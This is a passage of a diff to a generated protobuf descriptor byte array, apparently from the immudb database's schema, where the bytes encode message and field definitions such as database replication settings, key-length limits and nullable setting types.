0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, + 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, + 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, + 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x1c, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, + 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, + 0x12, 0x22, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, + 0x6d, 0x65, 0x22, 0x92, 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, + 0x69, 0x73, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, + 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, + 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, + 0x74, 0x65, 0x64, 0x22, 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, + 0x16, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x22, 0x7b, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x22, 0x25, 0x0a, 0x0d, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, + 0x74, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x26, 0x0a, + 0x0e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x12, + 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x22, 0x95, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x39, + 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, + 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, + 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x66, 0x69, 0x6c, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3b, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, - 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, - 0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, - 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, - 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, - 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, - 0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, - 0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, - 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x61, 0x78, 0x49, - 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0e, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, - 0x32, 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, - 0x6e, 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x6d, 0x61, 0x78, + 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x74, 0x78, 0x4c, 0x6f, - 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x76, 0x4c, - 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, - 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, - 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, 0x13, 0x74, 0x78, 0x4c, - 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, - 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, - 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, - 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, - 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, - 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x41, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x77, 0x72, - 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, - 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72, - 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, - 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, - 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d, - 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a, - 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, - 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, + 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, + 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, + 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, + 0x6f, 0x6c, 0x52, 0x11, 0x65, 0x78, 0x63, 